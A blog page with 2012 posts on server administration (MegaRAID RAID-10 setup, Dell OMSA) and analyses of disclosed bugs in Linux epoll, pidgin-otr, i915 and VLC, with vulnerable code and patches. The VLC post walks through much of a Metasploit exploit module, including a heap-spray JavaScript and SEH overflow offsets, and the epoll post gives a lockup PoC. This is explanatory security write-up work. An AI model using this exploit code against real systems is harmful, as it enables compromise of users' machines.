xorl %eax, %eax

IBM MegaRAID BIOS Config Utility RAID-10 Configuration

with 13 comments

So, a lot of people have difficulties configuring RAID-10 using MegaRAID because if you have for example four hard disks and you add them to a Disk Group, the only available options are RAID-0 and RAID-1.
Here is how to do this on an IBM System x3650 server with four 300GB SAS hard disks.

During the system boot you will be given the following options.



You will select the “Diagnostics” (in this case using F2 key) and when MegaRAID is loaded you can use “Ctrl+H” key combination to enter the WebBIOS configuration utility.



From the above capture you can also see that there is no virtual disk configured and the controller detected four JBOD disks.
When you enter the utility, you will have the ability to select the adapter you want to configure. In our case we only have one adapter so it is very straightforward.



Next, we have the MegaRAID BIOS configuration main menu for the selected adapter.



From the main menu you select option “Configuration Wizard” and you will get the following screen.



From the above configuration types, we select “New Configuration” since there is no prior configuration. This can also be used if you want to replace the existing configuration with a new one. Before proceeding you will get a warning that this selection will erase the current configuration as shown below.



Next, you select the hard disk drives you want to add to the RAID array. To select more than one press CTRL key. In our case all four disks will be selected in order to implement the RAID-10 level.



In the next window you will have to select “Manual Configuration” if you want to create a RAID-10 array.



Below you select (once again using CTRL key) the first two disks and click “Add To Array” in order to add them to the “Drive Group0″ on the right side panel.



After adding the first two disks you click on “Accept DG” to complete the setup of this drive group and create a new one.



Follow the same procedure and add the other two disks to the new drive group and then click “Accept DG” and “Next” to continue.



You add the two newly created arrays to a span by selecting each one of them and then clicking on “Add to SPAN”.



And as you can see below, the selected RAID level is 10. Here you can tune your RAID-10 configuration and when you are ready you click on “Update Size” and then “Accept” button.



Finally, you can continue by hitting “Next” and after the usual warning messages and final review of the configration, the RAID will start initializing.



On the bottom right you have some additional options that you can use but in any case, when the initialization process is completed the RAID-10 virtual disk will be ready to use.

Written by xorl

August 30, 2012 at 12:22

Posted in administration, ibm

CVE-2012-3375: Linux kernel fs/eventpoll.c File Descriptor Leak

with one comment

This vulnerability was reported by Yurij M. Plotnikov as you can read in this email of LKML. The susceptible code resides in fs/eventpoll.c and specifically in the epoll_ctl(2) system call’s code.

/*
 * The following function implements the controller interface for
 * the eventpoll file that enables the insertion/removal/change of
 * file descriptors inside the interest set.
 */
SYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,
                struct epoll_event __user *, event)
{
        int error;
        int did_lock_epmutex = 0;
        struct file *file, *tfile;
        struct eventpoll *ep;
        struct epitem *epi;
        struct epoll_event epds;

        error = -EFAULT;
        if (ep_op_has_event(op) &&
            copy_from_user(&epds, event, sizeof(struct epoll_event)))
                goto error_return;
   ...
        if (op == EPOLL_CTL_ADD) {
                if (is_file_epoll(tfile)) {
                        error = -ELOOP;
                        if (ep_loop_check(ep, tfile) != 0)
                                goto error_tgt_fput;
                        }
                } else
                        list_add(&tfile->f_tfile_llink, &tfile_check_list);
        }
   ...
error_tgt_fput:
        if (did_lock_epmutex)
                mutex_unlock(&epmutex);

        fput(tfile);
error_fput:
        fput(file);
error_return:

        return error;
}

As you can read, if the opcode is ‘EPOLL_CTL_ADD’ it will first check if the requested file is an event by verifying its callback functions using the below routine.

static const struct file_operations eventpoll_fops;

static inline int is_file_epoll(struct file *f)
{
        return f->f_op == &eventpoll_fops;
}

However, if this check fails it will set the ‘error’ to ‘-ELOOP’ and move to the ep_loop_check() which verifies that no closed loop or deep chains will be created by adding the passed epoll file. If this fails it will jump to ‘error_tgt_fput’ to unlock and exit.
As Yurij M. Plotnikov pointed out, this code does not clear ‘tfile_check_list’ resulting in leaving open the file descriptors. The patch was to add the missing call.

 		if (is_file_epoll(tfile)) {
 			error = -ELOOP;
-			if (ep_loop_check(ep, tfile) != 0)
+			if (ep_loop_check(ep, tfile) != 0) {
+				clear_tfile_check_list();
 				goto error_tgt_fput;
+			}
 		} else

And here is the code of the missing call:

static void clear_tfile_check_list(void)
{
        struct file *file;

        /* first clear the tfile_check_list */
        while (!list_empty(&tfile_check_list)) {
                file = list_first_entry(&tfile_check_list, struct file,
                                        f_tfile_llink);
                list_del_init(&file->f_tfile_llink);
        }
        INIT_LIST_HEAD(&tfile_check_list);
}

Finally, Yurij M. Plotnikov also provided a PoC code to reproduce a kernel soft lockup. Here is this code.

#include <netinet/in.h>
#include <sys/epoll.h>
#include <errno.h>
 
int
main ()
{
    struct sockaddr_in addr;
    struct epoll_event event;
    int epfd1, epfd2, sock;
    int rc;
    int i = 0;
    while (1)
    {
        printf("ITERATION %d\n", ++i);
        epfd1 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd1, errno);
        epfd2 = epoll_create(1);
        printf("epoll_create() -> %d(%d)\n", epfd2, errno);

It enters a ‘while’ loop and opens two epoll file descriptors.

        sock = socket(PF_INET, SOCK_STREAM, 0);
        printf("socket() -> %d(%d)\n", sock, errno);
 
        addr.sin_family = AF_INET;
        addr.sin_port = 0;
        addr.sin_addr.s_addr = 0;
        rc = bind(sock, (struct sockaddr*)&addr, sizeof(addr));
        printf("bind() -> %d(%d)\n", rc, errno);
 
        rc = listen(sock, 1);
        printf("listen() -> %d(%d)\n", rc, errno);

Next, he opens a socket file descriptor and makes it passive by invoking listen(2) system call.

	event.data.fd = sock;
        event.events = 0;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, sock, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

It invokes the buggy system call passing ‘epfd1′ pointing to the socket file descriptor.

	event.data.fd = epfd2;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd1, EPOLL_CTL_ADD, epfd2, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);
 
        event.data.fd = epfd1;
        event.events = EPOLLIN;
        rc = epoll_ctl(epfd2, EPOLL_CTL_ADD, epfd1, &event);
        printf("epoll_ctl() -> %d(%d)\n", rc, errno);

Then he adds the two epoll file descriptors.

        rc = close(epfd1);
        printf("close(epfd1) -> %d(%d)\n", rc, errno);
 
        rc = close(epfd2);
        printf("close(epfd2) -> %d(%d)\n", rc, errno);
 
        rc = close(sock);
        printf("close(sock) -> %d(%d)\n", rc, errno);
 
        sleep(1);
        printf("\n\n");
    }
    return 0;
}

At the end of the loop, it attempts to close all of the opened file descriptors and wait for 1 second until the next iteration.

As you can see, the last calls to epoll_ctl(2) system call were passing file descriptors which were pointing to each other. This leads to a loop resulting in reaching the vulnerable code and since the file descriptors are not properly closed, it will eventually lead to a kernel soft lockup after a couple of iterations.

Written by xorl

August 14, 2012 at 16:55

Posted in bugs, linux

Admin Mistake: Dell OMSA Not Running Properly on CentOS

leave a comment »

Background
The concept is that you have some Dell R610 server running CentOS 5.8 operating system and you are using Dell OMSA command line utilities to perform the hardware monitoring.

Problem
The monitoring checks are failing with “Unknown” status and if you attempt to locally execute the equivalent commands there is no response. For example:

[root@somewhere ~]# omreport chassis
Health

For further help, type the command followed by -?
[root@somewhere ~]#

Which of course is not the correct output.

Mistake
My initial thought was that it was missing the compatibility C++ standard library but this was not the case.

[root@somewhere ~]# rpm -qa|grep compat-libstdc++
compat-libstdc++-33-3.2.3-61
compat-libstdc++-296-2.96-138
compat-libstdc++-33-3.2.3-61
[root@somewhere ~]#

The problem was that “Systems Management Data Engine init script” was not configured to start on boot. Consequently, the required services were stopped after a reboot.

[root@somewhere ~]# service dataeng status
dsm_sa_datamgrd is stopped
dsm_sa_eventmgrd is stopped
dsm_sa_snmpd is stopped
[root@somewhere ~]#

Resolution
Quite simple… First start the init script.

[root@somewhere ~]# service dataeng start
Starting Systems Management Data Engine:
Starting dsm_sa_datamgrd:                                  [  OK  ]
Starting dsm_sa_eventmgrd:                                 [  OK  ]
Starting dsm_sa_snmpd:                                     [  OK  ]
[root@somewhere ~]#

And then make it start on boot…

[root@somewhere ~]# chkconfig dataeng on
[root@somewhere ~]# chkconfig --list dataeng
dataeng         0:off   1:off   2:on    3:on    4:on    5:on    6:off
[root@somewhere ~]#

Obviously, the utilities are now working properly.

[root@somewhere ~]# omreport chassis
Health

Main System Chassis

SEVERITY : COMPONENT
Ok       : Fans
Ok       : Intrusion
Ok       : Memory
Ok       : Power Supplies
Ok       : Power Management
Ok       : Processors
Ok       : Temperatures
Ok       : Voltages
Ok       : Hardware Log
Ok       : Batteries

For further help, type the command followed by -?

[root@somewhere ~]#

Written by xorl

August 6, 2012 at 15:05

Book: FreeBSD Device Drivers

with 2 comments

Before even reading it I knew that this book would be excellent. J. Kong proved that on his previous book and this is just another equally good example of his writing skills. So, here is my review…



Title: FreeBSD Device Drivers: A Guide for the Interpid
Author: Joseph Kong

Chapter 1: Building and Running Modules
This is an introduction to FreeBSD kernel modules with some additional information on character and block devices kernel modules.

Chapter 2: Allocating Memory
After going through the memory management routines, he provides a simple and understandable example of using them in kernel modules.

Chapter 3: Device Communication and Control
Moving to this chapter we have the I/O operations starting with IOCTL and next discussing (always in detail) the SYSCTL interface and of course providing examples for both cases.

Chapter 4: Thread Synchronization
A very interesting chapter dealing with synchronization issues of concurrent threads. After analysing a race condition in a kernel module, J. Kong dives into the details of race condition prevention using MUTEXes, shared/exclusive locks, reader/writer locks and condition variables always along with straightforward examples of each subject.

Chapter 5: Delaying Execution
Basically this is all about sleeping and context switching using the numerous available ways that FreeBSD supports.

Chapter 6: Case Study: Virtual NULL Modem
As you can guess from the title, this is a case study of a working virtual NULL modem terminal driver.

Chapter 7: Newbus and Resource Allocation
This is the first chapter dealing with actual hardware interaction kernel programming using Newbus.

Chapter 8: Interrupt Handling
From registering an interrupt handler up to writing a complete interrupt handler and generating interrupts, Joseph Kong explains all the steps required to achieve this.

Chapter 9: Case Study: Parallel Port Printer Driver
This is the second case study in this book utilizing all of the previously discussed features.

Chapter 10: Managing and Using Resources
Another very informative chapter dealing with concepts such as I/O ports, I/O memory, stream operations and memory barriers.

Chapter 11: Case Study: Intelligent Platform Management Interface Driver
A complete case study of an IPMI device driver.

Chapter 12: Direct Memory Access
As you can easily deduce from the title here you can find information for DMA programming in FreeBSD kernel. Everything such as DMA tags, synchronizing DMA buffers, etc. along with example kernel modules are available in this chapter.

Chapter 13: Storage Drivers
Starting with the disk structure it moves to all the components required to write a working block I/O device driver.

Chapter 14: Common Access Method
This chapter goes through the details of CAM mainly for HBA and SIM drivers.

Chapter 15: USB Drivers
Continuing from the previous chapter that dealt with HBAs, this one moves to USB. After a brief overview of the architecture and the structures used in FreeBSD operating system, the author discusses the routines used for USB device driver development.

Chapter 16: Network Drivers, Part 1: Data Structures
The title is pretty much self explanatory. J. Kong explains the essential network interface structures for management, media, mbuf, etc. and he also provides a simple example to demonstrate them.

Chapter 17: Network Drivers, Part 2: Packet Reception and Transmission
This is a small chapter which is also the last one and it deals with the network reception and transmission routines of the FreeBSD kernel.

Once again, Joseph Kong wrote a book that is compact, concise and well written. Each chapter can be used alone as a reference but there is also a flow between them if you choose to read the entire book. I would suggest this book to anyone interested in FreeBSD device drivers development and have a basic understanding of operating systems and C programming. Additionally, if you are a security oriented programmer you can use it as inspiration for rootkit development. Definitely an excellent book with all the information you’ll need to start developing your own FreeBSD device drivers.

Written by xorl

June 6, 2012 at 22:36

Posted in books

CVE-2012-2369: pidgin-otr Log Message Format String

leave a comment »

The issue was discovered by intrigeri as we can see in this email at oss-security mailing list. Additionally, from the website of the project we can learn that this does not affect other applications using libotr. Here is the vulnerable code as seen in otr-plugin.c.

static void log_message_cb(void *opdata, const char *message)
{
    purple_debug_info("otr", message);
}

Where purple_debug_info() is defined with the following prototype.

void void void purple_debug_info (const char * category,
				  const char * 	format,
				  ...	 
				 )

And of course, this means that the way this is called in log_message_cb() is insecure since there is no format string specifier resulting to a classic format string vulnerability.

The fix was to add the missing specifier with the below patch.

static void log_message_cb(void *opdata, const char *message)
{
-    purple_debug_info("otr", message);
+    purple_debug_info("otr", "%s", message);
}

Written by xorl

May 18, 2012 at 10:02

Posted in bugs

Linux kernel DRM Intel i915 Multiple IOCTL Integer Overflows

leave a comment »

A few days ago I was checking the ChangeLog of 3.3.5 release of the Linux kernel. As you can see the issues were reported by Xi Wang and the exact code for the first vulnreability is located at drivers/gpu/drm/i915/i915_gem_execbuffer.c and below you can see the code snippet.

static int
i915_gem_do_execbuffer(struct drm_device *dev, void *data,
                       struct drm_file *file,
                       struct drm_i915_gem_execbuffer2 *args,
                       struct drm_i915_gem_exec_object2 *exec)
{
        drm_i915_private_t *dev_priv = dev->dev_private;
        struct list_head objects;
        struct eb_objects *eb;
        struct drm_i915_gem_object *batch_obj;
        struct drm_clip_rect *cliprects = NULL;
        struct intel_ring_buffer *ring;
        u32 exec_start, exec_len;
        u32 seqno;
        u32 mask;
        int ret, mode, i;
   ...
        if (args->num_cliprects != 0) {
                if (ring != &dev_priv->ring[RCS]) {
                        DRM_ERROR("clip rectangles are only valid with the render ring\n");
                        return -EINVAL;
                }

                cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
                                    GFP_KERNEL);
                if (cliprects == NULL) {
                        ret = -ENOMEM;
                        goto pre_mutex_err;
                }

                if (copy_from_user(cliprects,
                                     (struct drm_clip_rect __user *)(uintptr_t)
                                     args->cliprects_ptr,
                                     sizeof(*cliprects)*args->num_cliprects)) {
                        ret = -EFAULT;
                        goto pre_mutex_err;
                }
        }
   ...
        kfree(cliprects);
        return ret;
}

Clearly, the above kmalloc() could result in an integer overflow on 32-bit systems if the user controlled ‘args->num_cliprects’ (controlled through IOCTL) is large enough. Here you can also see how ‘drm_i915_gem_execbuffer2′ structure is defined in include/drm/i915_drm.h header file.

struct drm_i915_gem_execbuffer2 {
        /**
         * List of gem_exec_object2 structs
         */
        __u64 buffers_ptr;
        __u32 buffer_count;

        /** Offset in the batchbuffer to start execution from. */
        __u32 batch_start_offset;
        /** Bytes used in batchbuffer from batch_start_offset */
        __u32 batch_len;
        __u32 DR1;
        __u32 DR4;
        __u32 num_cliprects;
        /** This is a struct drm_clip_rect *cliprects */
        __u64 cliprects_ptr;
#define I915_EXEC_RING_MASK              (7<<0)
#define I915_EXEC_DEFAULT                (0<<0)
#define I915_EXEC_RENDER                 (1<<0)
#define I915_EXEC_BSD                    (2<<0)
#define I915_EXEC_BLT                    (3<<0)

/* Used for switching the constants addressing mode on gen4+ RENDER ring.
 * Gen6+ only supports relative addressing to dynamic state (default) and
 * absolute addressing.
 *
 * These flags are ignored for the BSD and BLT rings.
 */
#define I915_EXEC_CONSTANTS_MASK        (3<<6)
#define I915_EXEC_CONSTANTS_REL_GENERAL (0<<6) /* default */
#define I915_EXEC_CONSTANTS_ABSOLUTE    (1<<6)
#define I915_EXEC_CONSTANTS_REL_SURFACE (2<<6) /* gen4/5 only */
        __u64 flags;
        __u64 rsvd1;
        __u64 rsvd2;
};

The fix was to add the missing checks as shown below.

 		}
 
+		if (args->num_cliprects > UINT_MAX / sizeof(*cliprects)) {
+			DRM_DEBUG("execbuf with %u cliprects\n",
+				  args->num_cliprects);
+			return -EINVAL;
+		}
 		cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
 				    GFP_KERNEL);

The second vulnerability is on the same file and it was also reported by Xi Wang. Here is the equivalent code snippet.

int
i915_gem_execbuffer2(struct drm_device *dev, void *data,
                     struct drm_file *file)
{
        struct drm_i915_gem_execbuffer2 *args = data;
        struct drm_i915_gem_exec_object2 *exec2_list = NULL;
        int ret;

        if (args->buffer_count < 1) {
                DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
                return -EINVAL;
        }

        exec2_list = kmalloc(sizeof(*exec2_list)*args->buffer_count,
                             GFP_KERNEL | __GFP_NOWARN | __GFP_NORETRY);
   ...
        ret = copy_from_user(exec2_list,
                             (struct drm_i915_relocation_entry __user *)
                             (uintptr_t) args->buffers_ptr,
                             sizeof(*exec2_list) * args->buffer_count);
   ...
        ret = i915_gem_do_execbuffer(dev, data, file, args, exec2_list);
        if (!ret) {
                /* Copy the new buffer offsets back to the user's exec list. */
                ret = copy_to_user((struct drm_i915_relocation_entry __user *)
                                   (uintptr_t) args->buffers_ptr,
                                   exec2_list,
                                   sizeof(*exec2_list) * args->buffer_count);
                if (ret) {
                        ret = -EFAULT;
                        DRM_ERROR("failed to copy %d exec entries "
                                  "back to user (%d)\n",
                                  args->buffer_count, ret);
                }
        }

        drm_free_large(exec2_list);
        return ret;
}

Here we have an identical possible integer overflow on the kmalloc() call that uses the user controlled ‘args->buffer_count’ (once again controlled through IOCTL). The fix was to add the missing checks.

 	int ret;
 
-	if (args->buffer_count < 1) {
+	if (args->buffer_count < 1 ||
+	    args->buffer_count > UINT_MAX / sizeof(*exec2_list)) {
 		DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
 		return -EINVAL;

It is interesting that I was not able to find any CVE or security advisory for these vulnerabilities apart from the Linux kernel’s ChangeLog.

Written by xorl

May 17, 2012 at 10:13

Posted in bugs, linux

CVE-2012-1775: VLC MMS Support Stack Overflow

leave a comment »

As we can see in the official security advisory here, this vulnerability was reported by Florent Hochwelker (also known as TaPiOn) and it affects all versions of VLC media player up to 2.0.1 release.
The bug is very straightforward and we can find it in the MMS module available in modules/access/mms/mmstu.c. Here is the exact code snippet.

/****************************************************************************
 * MMSOpen : Open a connection with the server over mmst or mmsu
 ****************************************************************************/
static int MMSOpen( access_t  *p_access, vlc_url_t *p_url, int  i_proto )
{
    access_sys_t *p_sys = p_access->p_sys;
    int           b_udp = ( i_proto == MMS_PROTO_UDP ) ? 1 : 0;

    var_buffer_t buffer;
    char         tmp[4096];
    uint16_t     *p;
    int          i_server_version;
    int          i_tool_version;
    int          i_update_player_url;
  ...
    /* *** send command 1 : connection request *** */
    var_buffer_initwrite( &buffer, 0 );
    var_buffer_add16( &buffer, 0x001c );
    var_buffer_add16( &buffer, 0x0003 );
    sprintf( tmp,
             "NSPlayer/7.0.0.1956; {"GUID_FMT"}; Host: %s",
             GUID_PRINT( p_sys->guid ),
             p_url->psz_host );
    var_buffer_addUTF16( &buffer, tmp );

    mms_CommandSend( p_access,
                     0x01,          /* connexion request */
                     0x00000000,    /* flags, FIXME */
                     0x0004000b,    /* ???? */
                     buffer.p_data,
                     buffer.i_data );

    if( mms_CommandRead( p_access, 0x01, 0 ) < 0 )
    {
  ...
    }
  ...
    /* *** should make an 18 command to make data timing *** */

    /* *** send command 2 : transport protocol selection *** */
    var_buffer_reinitwrite( &buffer, 0 );
    var_buffer_add32( &buffer, 0x00000000 );
    var_buffer_add32( &buffer, 0x000a0000 );
    var_buffer_add32( &buffer, 0x00000002 );
    if( b_udp )
    {
        sprintf( tmp,
                 "\\\\%s\\UDP\\%d",
                 p_sys->sz_bind_addr,
                 7000 ); // FIXME
    }
    else
    {
        sprintf( tmp, "\\\\192.168.0.1\\TCP\\1242"  );
    }
    var_buffer_addUTF16( &buffer, tmp );
    var_buffer_add16( &buffer, '0' );

    mms_CommandSend( p_access,
                     0x02,          /* connexion request */
                     0x00000000,    /* flags, FIXME */
                     0xffffffff,    /* ???? */
                     buffer.p_data,
                     buffer.i_data );
  ...
    msg_Info( p_access, "connection successful" );

    return VLC_SUCCESS;
}

It is quite obvious to notice the three vulnerable sprintf(3) calls using ‘tmp’ as the destination which is a statically allocated buffer with size of 4096 Bytes. The fix was to first replace the statically allocated buffer with a pointer:

     var_buffer_t buffer;
-    char         tmp[4096];
+    char         *tmp;
     uint16_t     *p;

And then use asprintf(3) instead of the insecure sprintf(3) to dynamically allocate the appropriate space for each string.

     var_buffer_add16( &buffer, 0x0003 );
-    sprintf( tmp,
+    if( asprintf( &tmp,
              "NSPlayer/7.0.0.1956; {"GUID_FMT"}; Host: %s",
              GUID_PRINT( p_sys->guid ),
-             p_url->psz_host );
+             p_url->psz_host ) < 0 )
+    {
+        var_buffer_free( &buffer );
+        net_Close( p_sys->i_handle_tcp );
+        return VLC_ENOMEM;
+    }
+
     var_buffer_addUTF16( &buffer, tmp );
+    free( tmp );

And the other two as well:

     if( b_udp )
     {
-        sprintf( tmp,
-                 "\\\\%s\\UDP\\%d",
-                 p_sys->sz_bind_addr,
-                 7000 ); // FIXME
+        if( asprintf( &tmp,
+                    "\\\\%s\\UDP\\%d",
+                    p_sys->sz_bind_addr,
+                    7000 ) < 0) // FIXME
+        {
+            var_buffer_free( &buffer );
+            MMSClose( p_access );
+            return VLC_EGENERIC;
+        }
     }
     else
     {
-        sprintf( tmp, "\\\\192.168.0.1\\TCP\\1242"  );
+        if( asprintf( &tmp, "\\\\192.168.0.1\\TCP\\1242" ) < 0 )
+        {
+            var_buffer_free( &buffer );
+            MMSClose( p_access );
+            return VLC_EGENERIC;
+        }
     }
     var_buffer_addUTF16( &buffer, tmp );
     var_buffer_add16( &buffer, '0' );
+    free( tmp );

Metasploit project released an exploit module for this vulnerability written by sinn3r and juan vazquez. So, we will see how vlc_mms_bof.rb exploits the bug.

First we have the usual Metasploit initialization code…

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "VLC MMS Stream Handling Buffer Overflow",
			'Description' => %q{
					This module exploits a buffer overflow in VLC media player VLC media player prior
				to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
				in a stack buffer overflow when handling a malicious MMS URI.

				This module uses the browser as attack vector. A specially crafted MMS URI is
				used to trigger the overflow and get flow control through SEH overwrite. Control
				is transferred to code located in the heap through a standard heap spray.

				The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
			},
			'License'     => MSF_LICENSE,
			'Author'      =>
				[
					'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References' =>
				[
					['CVE', '2012-1775'],
					['OSVDB', '80188'],
					['URL', 'http://www.videolan.org/security/sa1201.html'],
					# Fix commit diff
					['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
				],

Since it exploits sprintf(3) it cannot use NULL Byte so this is configured as a bad character and the payload space is set to 1000. Also, you can see the default options for exit function and the initial auto-run script.

			'Payload' =>
				{
					'BadChars'        => "\x00",
					'Space'           => 1000,
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},

Next, we see the two targets defined which are Internet Explorer 6 and 7 for Microsoft Windows XP SP3 platform.

			'Platform' => 'win',
			'Targets'  =>
				[
					# Tested with VLC 2.0.0
					[ 'Automatic', {} ],
					[
						'Internet Explorer 6 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1550',
							'Padding' => '0'
						}
					],
					[
						'Internet Explorer 7 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1600',
							'Padding' => '1'
						}
					]
				],
			'DisclosureDate' => "Mar 15 2012",
			'DefaultTarget' => 0))

Finally, it will also utilize the JavaScript obfuscation support.

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

Now, moving to the actual code there is the detection code that based on the received User-Agent string it will identify the client’s browser.

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Windows XP + 7.0
				my_target = targets[2]
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

Next is the routine that will exploit the vulnerability. Firstly it uses the above function to identify the target:

	def on_request_uri(cli, request)
		#Pick the right target
		my_target = get_target(cli, request)
		if my_target.nil?
			vprint_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

And then based on the target’s architecture it will initialize the equivalent variable as well as the NOP and payload encoding ones.

		#ARCH used by the victim machine
		arch = Rex::Arch.endian(my_target.arch)
		nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
		code = Rex::Text.to_unescape(payload.encoded, arch)

Then constructs the JavaScript heap-spray payload:

		# Spray overwrites 0x30303030 with our payload
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{code}");
		var nops = unescape("#{nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['OffsetShell']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var i=0; i < #{my_target['Blocks']}; i++) {
			heap_obj.alloc(block);
		}
		JS

		#Use heaplib
		js_spray = heaplib(spray)

Obfuscates it:

		#obfuscate on demand
		if datastore['OBFUSCATE']
			js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
			js_spray.obfuscate
		end

And finally set the appropriate IP addresses:

		src_ip = Rex::Socket.source_address.split('.')
		hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
		# Try to maximize success on IE7 platform:
		# If first octet of IP address is minor than 16 pad with zero
		# even when heap spray could be not successful.
		# Else pad following target heap spray criteria.
		if ((hex_ip.to_i(16) >> 24) < 16)
			padding_char = '0'
		else
			padding_char = my_target['Padding']
		end

		hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"

The last step is the actual HTML document including the malicious JavaScript payload as part of an MMS object.

		html = <<-EOS
		<html>
    <head>
    <script>
			#{js_spray}
    </script>
    </head>
		<body>
		
			
			
			
			
#TAG-OPENING                    pluginspage="http://www.videolan.org"
				type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
				width="320"
				height="240"
				autoplay="yes"
				loop="no"
				target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
				name="vlc">
#TAG-CLOSING
		


		</body>
		</html>
		EOS

		#Remove extra tabs in HTML
		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious page")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end
en

Due to wordpress sensitivity to EMBED tags, I have renamed them to TAG-OPENING and TAG-CLOSING

Written by xorl

May 16, 2012 at 18:38

Posted in bugs

Follow

Get every new post delivered to your Inbox.

Join 58 other followers